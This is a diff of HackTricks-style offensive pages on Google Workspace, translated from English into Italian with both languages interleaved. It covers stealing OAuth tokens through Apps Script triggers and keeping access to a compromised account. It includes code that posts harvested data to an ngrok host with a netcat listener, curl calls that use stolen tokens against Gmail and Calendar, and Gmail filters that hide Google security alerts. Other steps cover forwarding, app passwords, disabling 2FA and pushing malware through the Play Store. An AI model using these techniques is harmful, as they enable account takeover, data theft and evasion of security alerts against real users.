// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
Per catturare la richiesta puoi semplicemente eseguire:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> Poiché viene effettuata una richiesta esterna, il prompt OAuth **chiederà anche il permesso di raggiungere endpoint esterni**.
|
||||
|
||||
### Create Trigger
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
Una volta letta l'App, clicca su **⏰ Triggers** per creare un trigger. Come **function** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
Nota che puoi controllare i **runs degli App Scripts nella scheda Esecuzioni** se vuoi fare debug di qualcosa.
|
||||
|
||||
### Sharing
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
Per **triggerare** l'**App Script**, la vittima deve connettersi con **Editor Access**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> Il **token** utilizzato per eseguire l'**App Script** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> Se qualcuno ti ha **condiviso un documento con App Scripts e un trigger utilizzando il Head** dell'App Script (non un deployment fisso), puoi modificare il codice dell'App Script (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e l'**App Script verrà eseguito con i permessi dell'utente che ha condiviso il documento con te**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> Una **notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script** (Che ne dici di usare i permessi di gmail per generare un filtro per prevenire l'allerta?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> Se un **attaccante modifica gli scope dell'App Script**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato.
|
||||
|
||||
### Copying instead of sharing
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
Quando crei un link per condividere un documento, viene creato un link simile a questo: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
Se **cambi** la parte finale **"/edit"** in **"/copy"**, invece di accedervi, google ti chiederà se vuoi **generare una copia del documento:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
Se l'utente lo copia e lo accede, sia i **contenuti del documento che gli App Scripts verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**.
|
||||
|
||||
### Sharing as Web Application
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
Nota che è anche possibile **condividere un App Script come un'applicazione Web** (nell'Editor dell'App Script, distribuisci come un'applicazione Web), ma apparirà un avviso come questo:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
Seguito dal **tipico prompt OAuth che chiede** i permessi necessari.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
|
||||
Puoi testare un token raccolto per elencare le email con:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
Elenca il calendario dell'utente:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script come Persistenza
|
||||
|
||||
## App Script as Persistence
|
||||
Una opzione per la persistenza sarebbe **creare un documento e aggiungere un trigger per la funzione getToken** e condividere il documento con l'attaccante in modo che ogni volta che l'attaccante apre il file, **esfiltri il token della vittima.**
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
È anche possibile creare un App Script e farlo attivare ogni X tempo (come ogni minuto, ora, giorno...). Un attaccante che ha **credenziali compromesse o una sessione di una vittima potrebbe impostare un trigger temporale per l'App Script e leakare un token OAuth molto privilegiato ogni giorno**:
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
Basta creare un App Script, andare su Trigger, cliccare su Aggiungi Trigger e selezionare come sorgente evento Time-driven e selezionare le opzioni che meglio si adattano a te:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> Questo creerà un'email di avviso di sicurezza e un messaggio push sul tuo cellulare che ti avvisa di questo.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
### Bypass del Prompt Non Verificato del Documento Condiviso
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
Inoltre, se qualcuno ti ha **condiviso** un documento con **accesso in modifica**, puoi generare **App Scripts all'interno del documento** e il **PROPRIETARIO (creatore) del documento sarà il proprietario dell'App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> Questo significa che il **creatore del documento apparirà come creatore di qualsiasi App Script** che chiunque con accesso in modifica crea al suo interno.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
> Questo significa anche che l'**App Script sarà fidato dall'ambiente Workspace** del creatore del documento.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
> Questo significa anche che se un **App Script esisteva già** e le persone hanno **concesso accesso**, chiunque con permesso di **Modifica** sul documento può **modificarlo e abusare di quell'accesso.**\
|
||||
> Per abusare di questo hai anche bisogno che le persone attivino l'App Script. E un trucco interessante è **pubblicare lo script come un'app web**. Quando le **persone** che hanno già concesso **accesso** all'App Script accedono alla pagina web, **attiveranno l'App Script** (questo funziona anche usando i tag `<img>`).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,186 +1,182 @@
|
||||
# GWS - Persistence
|
||||
# GWS - Persistenza
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
|
||||
> Tutte le azioni menzionate in questa sezione che modificano le impostazioni genereranno un **avviso di sicurezza all'email e persino una notifica push a qualsiasi dispositivo mobile sincronizzato** con l'account.
|
||||
|
||||
## **Persistence in Gmail**
|
||||
## **Persistenza in Gmail**
|
||||
|
||||
- You can create **filters to hide** security notifications from Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
|
||||
- Puoi creare **filtri per nascondere** le notifiche di sicurezza da Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- Questo impedirà che le email di sicurezza raggiungano l'email (ma non impedirà le notifiche push al mobile)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steps to create a gmail filter</summary>
|
||||
<summary>Passaggi per creare un filtro gmail</summary>
|
||||
|
||||
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
|
||||
(Istruzioni da [**qui**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Open [Gmail](https://mail.google.com/).
|
||||
2. In the search box at the top, click Show search options  .
|
||||
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
|
||||
4. At the bottom of the search window, click **Create filter**.
|
||||
5. Choose what you’d like the filter to do.
|
||||
6. Click **Create filter**.
|
||||
1. Apri [Gmail](https://mail.google.com/).
|
||||
2. Nella casella di ricerca in alto, fai clic su Mostra opzioni di ricerca .
|
||||
3. Inserisci i tuoi criteri di ricerca. Se vuoi controllare che la tua ricerca abbia funzionato correttamente, guarda quali email appaiono cliccando su **Cerca**.
|
||||
4. In fondo alla finestra di ricerca, fai clic su **Crea filtro**.
|
||||
5. Scegli cosa vuoi che faccia il filtro.
|
||||
6. Fai clic su **Crea filtro**.
|
||||
|
||||
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
Controlla il tuo filtro attuale (per eliminarli) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
|
||||
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- The receiving address will need to confirm this
|
||||
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
|
||||
- Crea **un indirizzo di inoltro per inoltrare informazioni sensibili** (o tutto) - Hai bisogno di accesso manuale.
|
||||
- Crea un indirizzo di inoltro in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- L'indirizzo ricevente dovrà confermare questo
|
||||
- Poi, imposta per inoltrare tutte le email mantenendo una copia (ricorda di cliccare su salva modifiche):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible create filters and forward only specific emails to the other email address.
|
||||
È anche possibile creare filtri e inoltrare solo email specifiche all'altro indirizzo email.
|
||||
|
||||
## App passwords
|
||||
## Password per le app
|
||||
|
||||
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
|
||||
Se sei riuscito a **compromettere una sessione utente di Google** e l'utente aveva **2FA**, puoi **generare** una [**password per l'app**](https://support.google.com/accounts/answer/185833?hl=en) (segui il link per vedere i passaggi). Nota che **le password per le app non sono più raccomandate da Google e vengono revocate** quando l'utente **cambia la password del suo account Google.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to create an app password.**
|
||||
**Anche se hai una sessione aperta, dovrai conoscere la password dell'utente per creare una password per l'app.**
|
||||
|
||||
> [!NOTE]
|
||||
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
|
||||
> Le password per le app possono **essere utilizzate solo con account che hanno attivato la Verifica in due passaggi**.
|
||||
|
||||
## Change 2-FA and similar
|
||||
## Cambiare 2-FA e simili
|
||||
|
||||
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
|
||||
È anche possibile **disattivare 2-FA o registrare un nuovo dispositivo** (o numero di telefono) in questa pagina [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**È anche possibile generare chiavi di accesso (aggiungere il proprio dispositivo), cambiare la password, aggiungere numeri di telefono per la verifica e il recupero, cambiare l'email di recupero e cambiare le domande di sicurezza).**
|
||||
|
||||
> [!CAUTION]
|
||||
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
|
||||
> Per **prevenire le notifiche push di sicurezza** che raggiungono il telefono dell'utente, potresti **disconnettere il suo smartphone** (anche se sarebbe strano) perché non puoi riconnetterlo da qui.
|
||||
>
|
||||
> It's also possible to **locate the device.**
|
||||
> È anche possibile **localizzare il dispositivo.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to change these settings.**
|
||||
**Anche se hai una sessione aperta, dovrai conoscere la password dell'utente per cambiare queste impostazioni.**
|
||||
|
||||
## Persistence via OAuth Apps
|
||||
## Persistenza tramite app OAuth
|
||||
|
||||
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
|
||||
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
|
||||
Se hai **compromesso l'account di un utente**, puoi semplicemente **accettare** di concedere tutti i permessi possibili a un **OAuth App**. L'unico problema è che Workspace può essere configurato per **non consentire app OAuth esterne e/o interne non revisionate.**\
|
||||
È abbastanza comune che le organizzazioni di Workspace non si fidino per impostazione predefinita delle app OAuth esterne ma si fidino di quelle interne, quindi se hai **sufficienti permessi per generare una nuova applicazione OAuth** all'interno dell'organizzazione e le app esterne sono vietate, generala e **usa quella nuova app OAuth interna per mantenere la persistenza**.
|
||||
|
||||
Check the following page for more information about OAuth Apps:
|
||||
Controlla la seguente pagina per ulteriori informazioni sulle app OAuth:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence via delegation
|
||||
## Persistenza tramite delega
|
||||
|
||||
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
|
||||
Puoi semplicemente **delega l'account** a un diverso account controllato dall'attaccante (se ti è consentito farlo). In **Organizzazioni** di Workspace questa opzione deve essere **abilitata**. Può essere disabilitata per tutti, abilitata per alcuni utenti/gruppi o per tutti (di solito è abilitata solo per alcuni utenti/gruppi o completamente disabilitata).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>If you are a Workspace admin check this to enable the feature</summary>
|
||||
<summary>Se sei un amministratore di Workspace controlla qui per abilitare la funzione</summary>
|
||||
|
||||
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
|
||||
(Informazioni [copiate dalla documentazione](https://support.google.com/a/answer/7223765))
|
||||
|
||||
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
|
||||
Come amministratore della tua organizzazione (ad esempio, il tuo lavoro o la tua scuola), controlli se gli utenti possono delegare l'accesso al loro account Gmail. Puoi consentire a tutti di avere l'opzione di delegare il proprio account. Oppure, consentire solo a persone in determinati dipartimenti di impostare la delega. Ad esempio, puoi:
|
||||
|
||||
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
|
||||
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
|
||||
- Aggiungere un assistente amministrativo come delegato sul tuo account Gmail in modo che possa leggere e inviare email per tuo conto.
|
||||
- Aggiungere un gruppo, come il tuo dipartimento vendite, in Gruppi come delegato per dare a tutti accesso a un account Gmail.
|
||||
|
||||
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
|
||||
Gli utenti possono delegare l'accesso solo a un altro utente nella stessa organizzazione, indipendentemente dal loro dominio o dalla loro unità organizzativa.
|
||||
|
||||
#### Delegation limits & restrictions
|
||||
#### Limiti e restrizioni della delega
|
||||
|
||||
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
|
||||
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
|
||||
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
|
||||
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
|
||||
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
|
||||
- **Consenti agli utenti di concedere accesso alla loro casella di posta a un gruppo Google** opzione: Per utilizzare questa opzione, deve essere abilitata per l'OU dell'account delegato e per l'OU di ciascun membro del gruppo. I membri del gruppo che appartengono a un'OU senza questa opzione abilitata non possono accedere all'account delegato.
|
||||
- Con un uso tipico, 40 utenti delegati possono accedere a un account Gmail contemporaneamente. Un uso superiore alla media da parte di uno o più delegati potrebbe ridurre questo numero.
|
||||
- I processi automatizzati che accedono frequentemente a Gmail potrebbero anche ridurre il numero di delegati che possono accedere a un account contemporaneamente. Questi processi includono API o estensioni del browser che accedono frequentemente a Gmail.
|
||||
- Un singolo account Gmail supporta fino a 1.000 delegati unici. Un gruppo in Gruppi conta come un delegato verso il limite.
|
||||
- La delega non aumenta i limiti per un account Gmail. Gli account Gmail con utenti delegati hanno i limiti e le politiche standard degli account Gmail. Per dettagli, visita [Limiti e politiche di Gmail](https://support.google.com/a/topic/28609).
|
||||
|
||||
#### Step 1: Turn on Gmail delegation for your users
|
||||
#### Passo 1: Attivare la delega di Gmail per i tuoi utenti
|
||||
|
||||
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
**Prima di iniziare:** Per applicare l'impostazione a determinati utenti, metti i loro account in un ['unità organizzativa](https://support.google.com/a/topic/1227584).
|
||||
|
||||
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
|
||||
1. [Accedi](https://admin.google.com/) alla tua [console di amministrazione Google](https://support.google.com/a/answer/182076).
|
||||
|
||||
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
|
||||
Accedi utilizzando un _account amministratore_, non il tuo attuale account CarlosPolop@gmail.com
|
||||
|
||||
2. In the Admin console, go to Menu  **Apps****Google Workspace****Gmail****User settings**.
|
||||
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
4. Click **Mail delegation**.
|
||||
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
|
||||
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
|
||||
7. Select an option for the default sender information that's included in messages sent by delegates:
|
||||
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
|
||||
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
|
||||
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
|
||||
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
|
||||
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
|
||||
2. Nella console di amministrazione, vai su Menu  **App****Google Workspace****Gmail****Impostazioni utente**.
|
||||
3. Per applicare l'impostazione a tutti, lascia selezionata l'unità organizzativa principale. Altrimenti, seleziona un'unità organizzativa secondaria [organizzativa](https://support.google.com/a/topic/1227584).
|
||||
4. Fai clic su **Delega email**.
|
||||
5. Seleziona la casella **Consenti agli utenti di delegare l'accesso alla loro casella di posta ad altri utenti nel dominio**.
|
||||
6. (Facoltativo) Per consentire agli utenti di specificare quali informazioni del mittente sono incluse nei messaggi delegati inviati dal loro account, seleziona la casella **Consenti agli utenti di personalizzare questa impostazione**.
|
||||
7. Seleziona un'opzione per le informazioni del mittente predefinite incluse nei messaggi inviati dai delegati:
|
||||
- **Mostra il proprietario dell'account e il delegato che ha inviato l'email**—I messaggi includono gli indirizzi email del proprietario dell'account Gmail e del delegato.
|
||||
- **Mostra solo il proprietario dell'account**—I messaggi includono solo l'indirizzo email del proprietario dell'account Gmail. L'indirizzo email del delegato non è incluso.
|
||||
8. (Facoltativo) Per consentire agli utenti di aggiungere un gruppo in Gruppi come delegato, seleziona la casella **Consenti agli utenti di concedere accesso alla loro casella di posta a un gruppo Google**.
|
||||
9. Fai clic su **Salva**. Se hai configurato un'unità organizzativa secondaria, potresti essere in grado di **Eredita** o **Sovrascrivere** le impostazioni di un'unità organizzativa principale.
|
||||
10. (Facoltativo) Per attivare la delega di Gmail per altre unità organizzative, ripeti i passaggi 3–9.
|
||||
|
||||
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
|
||||
Le modifiche possono richiedere fino a 24 ore, ma di solito avvengono più rapidamente. [Scopri di più](https://support.google.com/a/answer/7514107)
|
||||
|
||||
#### Step 2: Have users set up delegates for their accounts
|
||||
#### Passo 2: Fai impostare agli utenti i delegati per i loro account
|
||||
|
||||
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
|
||||
Dopo aver attivato la delega, i tuoi utenti vanno nelle impostazioni di Gmail per assegnare i delegati. I delegati possono quindi leggere, inviare e ricevere messaggi per conto dell'utente.
|
||||
|
||||
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
|
||||
Per dettagli, indirizza gli utenti a [Delegare e collaborare via email](https://support.google.com/a/users/answer/138350).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
|
||||
<summary>Da un utente normale, controlla qui le istruzioni per provare a delegare il tuo accesso</summary>
|
||||
|
||||
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
|
||||
(Info copiate [**dalla documentazione**](https://support.google.com/mail/answer/138350))
|
||||
|
||||
You can add up to 10 delegates.
|
||||
Puoi aggiungere fino a 10 delegati.
|
||||
|
||||
If you're using Gmail through your work, school, or other organization:
|
||||
Se stai utilizzando Gmail tramite il tuo lavoro, scuola o altra organizzazione:
|
||||
|
||||
- You can add up to 1000 delegates within your organization.
|
||||
- With typical use, 40 delegates can access a Gmail account at the same time.
|
||||
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
|
||||
- Puoi aggiungere fino a 1000 delegati all'interno della tua organizzazione.
|
||||
- Con un uso tipico, 40 delegati possono accedere a un account Gmail contemporaneamente.
|
||||
- Se utilizzi processi automatizzati, come API o estensioni del browser, alcuni delegati possono accedere a un account Gmail contemporaneamente.
|
||||
|
||||
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
|
||||
2. In the top right, click Settings   **See all settings**.
|
||||
3. Click the **Accounts and Import** or **Accounts** tab.
|
||||
4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
|
||||
- If you don't see Grant access to your account, then it's restricted.
|
||||
5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
|
||||
\
|
||||
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
|
||||
1. Sul tuo computer, apri [Gmail](https://mail.google.com/). Non puoi aggiungere delegati dall'app Gmail.
|
||||
2. In alto a destra, fai clic su Impostazioni   **Vedi tutte le impostazioni**.
|
||||
3. Fai clic sulla scheda **Account e importazione** o **Account**.
|
||||
4. Nella sezione "Concedi accesso al tuo account", fai clic su **Aggiungi un altro account**. Se stai utilizzando Gmail tramite il tuo lavoro o scuola, la tua organizzazione potrebbe limitare la delega delle email. Se non vedi questa impostazione, contatta il tuo amministratore.
|
||||
- Se non vedi Concedi accesso al tuo account, allora è limitato.
|
||||
5. Inserisci l'indirizzo email della persona che desideri aggiungere. Se stai utilizzando Gmail tramite il tuo lavoro, scuola o altra organizzazione, e il tuo amministratore lo consente, puoi inserire l'indirizzo email di un gruppo. Questo gruppo deve avere lo stesso dominio della tua organizzazione. I membri esterni del gruppo sono negati l'accesso alla delega.\
|
||||
\
|
||||
**Importante:** Se l'account che delegi è un nuovo account o la password è stata reimpostata, l'amministratore deve disattivare il requisito di cambiare la password quando accedi per la prima volta.
|
||||
|
||||
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
|
||||
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
|
||||
- [Scopri come un amministratore può creare un utente](https://support.google.com/a/answer/33310).
|
||||
- [Scopri come un amministratore può reimpostare le password](https://support.google.com/a/answer/33319).
|
||||
|
||||
6\. Click **Next Step**  **Send email to grant access**.
|
||||
6. Fai clic su **Passo successivo**  **Invia email per concedere accesso**.
|
||||
|
||||
The person you added will get an email asking them to confirm. The invitation expires after a week.
|
||||
La persona che hai aggiunto riceverà un'email che chiede di confermare. L'invito scade dopo una settimana.
|
||||
|
||||
If you added a group, all group members will become delegates without having to confirm.
|
||||
Se hai aggiunto un gruppo, tutti i membri del gruppo diventeranno delegati senza dover confermare.
|
||||
|
||||
Note: It may take up to 24 hours for the delegation to start taking effect.
|
||||
Nota: Potrebbe richiedere fino a 24 ore affinché la delega inizi a prendere effetto.
|
||||
|
||||
</details>
|
||||
|
||||
## Persistence via Android App
|
||||
## Persistenza tramite app Android
|
||||
|
||||
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
|
||||
Se hai una **sessione all'interno dell'account Google della vittima** puoi navigare nel **Play Store** e potresti essere in grado di **installare malware** che hai già caricato nel negozio direttamente **sul telefono** per mantenere la persistenza e accedere al telefono della vittima.
|
||||
|
||||
## **Persistence via** App Scripts
|
||||
## **Persistenza tramite** App Scripts
|
||||
|
||||
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
|
||||
